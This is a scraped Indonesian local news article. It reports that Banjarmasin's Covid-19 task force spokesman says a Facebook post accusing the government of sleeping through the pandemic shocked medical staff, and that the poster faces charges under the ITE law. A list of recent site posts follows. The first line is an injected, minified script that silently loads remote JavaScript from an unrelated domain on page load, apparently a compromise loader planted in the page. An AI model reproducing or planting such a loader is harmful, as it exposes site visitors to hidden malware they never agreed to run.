(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarmasin

Gugus Tugas Covid-19: Postingan Facrul Bikin ‘Shock’ Petugas Medis di Banjarmasin


KANALKALIMANTAN.COM, BANJARMASIN – Postingan Fachrulraji (37) di medsos yang mengatakan pemerintah tidur dalam menghadapi Covid-19, melukai perasaan para petugas medis yang ada di garda depan melakukan penyembuhan pasien di puskesmas dan rumah sakit. Juru Bicara Percepatan Penanganan (P2) Covid-19 Kota Banjarmasin Dr. Machli Riyadi mengungkapkan, akibat dari berita hoax atau bohong yang disampaikan Fachrul, banyak petugas Covid-19 turun semangat kerjanya di lapangan.

“Teman-teman dokter perawat bidan puskesmas, yang selama ini sudah mempertaruhkan nyawanya, sudah melakukan screening dan tracking dalam upaya memutus mata rantai penularan dan tiba-tiba merasa shock saja. Hampir semua kepala puskesmas menyampaikan laporan ke saya terhadap ujaran yang ditulis sodara Fachruraji di Facebook,” ungkapnya.

Menurutnya, dengan ditemukannya orang itu tentu pihaknya kembali bersemangat. Ia pun mengimbau agar masyarakat tidak membuat berita hoaks atau bohong apalagi sampai menghasut agar memusuhi petugas covid-19. “Mari kita bahu-membahu membantu pemerintah untuk mengurangi penyebaran covid19 ini, dimana kita tau semakin hari semakin naik jadi kita harus kerjasama sebagai masyarakat bantu apa yang kita bisa buat kita perbuat, jangan malah kita menyebarkan berita bohong,” tuturnya.

Ia mengingatkan, pemerintah bekerja untuk masyarakat, maka tetaplah dirumah, tidak usah kemana-mana untuk sementara waktu dan tetap mematuhi protokol kesehatan, dan jangan lupa berdoa. “Biar kami saja bekerja gugus tugas ini dari pemerintahan semua gabungan semua stakeholder yang ada siang malam bahu membahu 24 jam demi terputusnya mata rantai covid19 ini,” pungkas Machli.

Sementara itu, atas perbuatan pelaku ia dijerat dengan pasal pelanggaran UU ITE dengan ancaman 5 tahun penjara. (Kanalkalimantan.com/fikri)

 

Reporter : Fikri
Editor : Cell

 


Desy Arfianty

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

12 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

14 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

15 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

17 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

19 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

20 jam ago

This website uses cookies.